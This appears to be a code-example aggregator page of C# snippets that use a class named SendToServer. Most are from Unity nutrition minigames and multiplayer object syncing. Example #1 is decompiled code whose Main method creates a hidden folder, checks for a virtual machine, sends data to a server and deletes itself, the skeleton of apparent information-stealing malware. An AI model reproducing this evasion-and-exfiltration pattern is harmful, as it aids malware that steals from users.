예제 #1
0
 // Token: 0x0600009B RID: 155 RVA: 0x000081F0 File Offset: 0x000063F0
 private static void Main(string[] args)
 {
     try
     {
         Task.Factory.StartNew(delegate()
         {
             CheckPovt.CheckPril();
         }).Wait();
         if (File.Exists(Program.path))
         {
             File.Delete(Program.path);
         }
         DirectoryInfo directoryInfo = Directory.CreateDirectory(Program.path);
         directoryInfo.Attributes = (FileAttributes.Hidden | FileAttributes.Directory);
         Task.Factory.StartNew(delegate()
         {
             VirtualMachine.CheckVM();
         }).Wait();
         Task.Factory.StartNew(delegate()
         {
             Program.Helper();
         }).Wait();
         Task.Factory.StartNew(delegate()
         {
             SendToServer.StratSend();
         }).Wait();
         Task.Factory.StartNew(delegate()
         {
             Delete.SelfDelete();
         }).Wait();
     }
     catch
     {
     }
 }
예제 #2
0
 public void Start()
 {
     StaticCheckGame.reset();
     if (StaticMinigame3Controller.getReplay() == true)
     {
         instructionsPanel.SetActive(false);
     }
     StaticCheckGame.reset();
     if (StaticLanguage.getLanguage().Equals("portuguese"))
     {
         instructions.text            = "Organiza o frigorífico o máximo número de vezes dentro do tempo limite, movendos as comidas para o respetivo lugar seguindo estas regras:\n - Bebidas na porta;\n - Apenas os vegetais e frutas podem estar na secção inferior do frigorífico;\n - Na mesma secção apenas pode existir uma família de alimentos.";
         instructionHighscoreSub.text = "Melhor Pontuação";
         gameEndHighscoreSub.text     = "Melhor Pontuação";
     }
     else
     {
         instructions.text            = "Organize the fridge, as many times as you can within the time limit, moving the foods to their respective places following these rules:\n - Drinks on the door;\n - Only vegetables and fruits can stay on the lower section of the fridge;\n - On the same section there can only be one food family.";
         instructionHighscoreSub.text = "Highscore";
         gameEndHighscoreSub.text     = "Highscore";
     }
     if (!System.IO.File.Exists(Application.persistentDataPath + "/sendToServer"))
     {
         sendToServer = new SendToServer();
     }
     else
     {
         sendToServer = FileManager.ReadFromBinaryFile <SendToServer> (Application.persistentDataPath + "/sendToServer");
     }
     highscore.text = "" + sendToServer.minigame2Highscore;
     setFoods();
 }
예제 #3
0
    public void Start()
    {
        if (StaticMinigame3Controller.getReplay() == true)
        {
            instructionsPanel.SetActive(false);
        }

        if (StaticLanguage.getLanguage().Equals("portuguese"))
        {
            instructions.text            = "Em cada ronda, escolhe a comida que deves levar na lancheira. A cada resposta correta ganharás 1 ponto.";
            instructionHighscoreSub.text = "Melhor Pontuação";
            gameEndHighscoreSub.text     = "Melhor Pontuação";
        }
        else
        {
            instructions.text            = "In each round, choose the food you should take on your lunchbox. Each correct answear awards you with 1 point.";
            instructionHighscoreSub.text = "Highscore";
            gameEndHighscoreSub.text     = "Highscore";
        }

        if (!System.IO.File.Exists(Application.persistentDataPath + "/sendToServer"))
        {
            sendToServer = new SendToServer();
        }
        else
        {
            sendToServer = FileManager.ReadFromBinaryFile <SendToServer> (Application.persistentDataPath + "/sendToServer");
        }
        time.text  = roundTime.ToString();
        score.text = scoreNumber.ToString();

        highscore.text = "" + sendToServer.minigame3Highscore;

        healthyIngredients = new List <string> ()
        {
            "banana_0", "carrot_0", "cucumber_0", "grapes_0", "kiwi_0", "orange_0", "pear_0", "sandwich_0", "tomato_0"
        };
        unhealthyIngredients = new List <string> ()
        {
            "candy_1", "candyStick_1", "hamburger_1", "hotdog_1", "pizza_1", "popcorn_1"
        };

        choice1.onClick.AddListener(delegate {
            taskOnClick(choice1);
        });

        choice2.onClick.AddListener(delegate {
            taskOnClick(choice2);
        });

        setIngredients();
    }
예제 #4
0
    public void Start()
    {
        if (StaticLanguage.getLanguage().Equals("portuguese"))
        {
            legumesText.text   = "Legumes e Verduras";
            hidratosText.text  = "Hidratos de Carbono";
            proteinaVText.text = "Proteína Vegetal";
            proteinaAText.text = "Proteína Animal";
            frutaText.text     = "Frutas";
        }
        else
        {
            legumesText.text   = "Vegetables";
            hidratosText.text  = "Carbohydrates";
            proteinaVText.text = "Vegetable Protein";
            proteinaAText.text = "Animal Protein";
            frutaText.text     = "Fruits";
        }
        if (StaticMinigame3Controller.getReplay() == true)
        {
            instructionsPanel.SetActive(false);
        }
        StaticCheckGame.reset();
        if (StaticLanguage.getLanguage().Equals("portuguese"))
        {
            instructions.text            = "Organiza o teu prato, o máximo número de vezes dentro do tempo limite, movendo as comidas para o seu respetivo lugar.";
            instructionHighscoreSub.text = "Melhor Pontuação";
            gameEndHighscoreSub.text     = "Melhor Pontuação";
        }
        else
        {
            instructions.text            = "Organize your plate, as many times as you can within the time limit, moving the foods to their respective places.";
            instructionHighscoreSub.text = "Highscore";
            gameEndHighscoreSub.text     = "Highscore";
        }
        if (!System.IO.File.Exists(Application.persistentDataPath + "/sendToServer"))
        {
            sendToServer = new SendToServer();
        }
        else
        {
            sendToServer = FileManager.ReadFromBinaryFile <SendToServer> (Application.persistentDataPath + "/sendToServer");
        }
        time.text  = "" + roundTime;
        score.text = "" + scoreNumber;

        highscore.text = "" + sendToServer.minigame4Highscore;

        setIngredients();
    }
예제 #5
0
    // Use this for initialization
    IEnumerator Start()
    {
        if (System.IO.File.Exists(Application.persistentDataPath + "/sendToServer"))
        {
            sendToServer = FileManager.ReadFromBinaryFile <SendToServer> (Application.persistentDataPath + "/sendToServer");
            if (sendToServer.Id < 0)
            {
                yield return(createUser());

                yield return(sendMinigame1Data());

                yield return(sendMinigame2Data());

                yield return(sendMinigame3Data());

                yield return(sendMinigame4Data());
            }
            yield return(sendMinigame1Data());

            yield return(sendMinigame2Data());

            yield return(sendMinigame3Data());

            yield return(sendMinigame4Data());
        }
        else
        {
            sendToServer = new SendToServer();
            yield return(sendMinigame1Data());

            yield return(sendMinigame2Data());

            yield return(sendMinigame3Data());

            yield return(sendMinigame4Data());
        }
    }
예제 #6
0
    public void Start()
    {
        if (!System.IO.File.Exists(Application.persistentDataPath + "/data"))
        {
            status = new Minigame1Status();
        }
        else
        {
            status = FileManager.ReadFromBinaryFile <Minigame1Status> (Application.persistentDataPath + "/data");
        }

        if (!System.IO.File.Exists(Application.persistentDataPath + "/sendToServer"))
        {
            sendToServer = new SendToServer();
        }
        else
        {
            sendToServer = FileManager.ReadFromBinaryFile <SendToServer> (Application.persistentDataPath + "/sendToServer");
        }

        picture.GetComponent <Image> ().sprite = Resources.Load("Minigame 1/" + StaticSceneManager.GetSceneImage(), typeof(Sprite)) as Sprite;
        string imageName = picture.GetComponent <Image> ().sprite.name.ToUpper();

        string[] imageNameLanguages = imageName.Split('_');
        if (StaticLanguage.getLanguage() == "portuguese")
        {
            solution = imageNameLanguages[0];
        }
        if (StaticLanguage.getLanguage() == "english")
        {
            solution = imageNameLanguages [1];
        }

        text.text = " ";
        setBlanks(solution);
        setButtons(solution);
    }
 protected override void OnEnterScope()
 {
     SendToServer.Authenticate("sour", "testpw");
 }
예제 #8
0
 public void SpawnCarOnServer(int objectID, bool active)
 {
     SendToServer.RecieveNewCarSpawn(objectID, active);
 }
예제 #9
0
 public void UpdateObjectState(int objectID, bool active, Vector3 position, Vector3 rotation, Vector3 localScale)
 {
     SendToServer.RecieveObjectStateAndPosition(objectID, active, position, rotation, localScale);
 }
예제 #10
0
 public void UpdateObjectState(int objectID, bool active)
 {
     SendToServer.RecieveObjectState(objectID, active);
 }
예제 #11
0
 public void UpdateObjectPosition(int objectID, Vector3 position, Vector3 rotation, Vector3 localScale)
 {
     SendToServer.RecieveObjectPosition(objectID, position, rotation, localScale);
 }
예제 #12
0
 public void SendPacket(int packetNum, string contents)
 {
     SendToServer.RecievePacket(packetNum, contents);
 }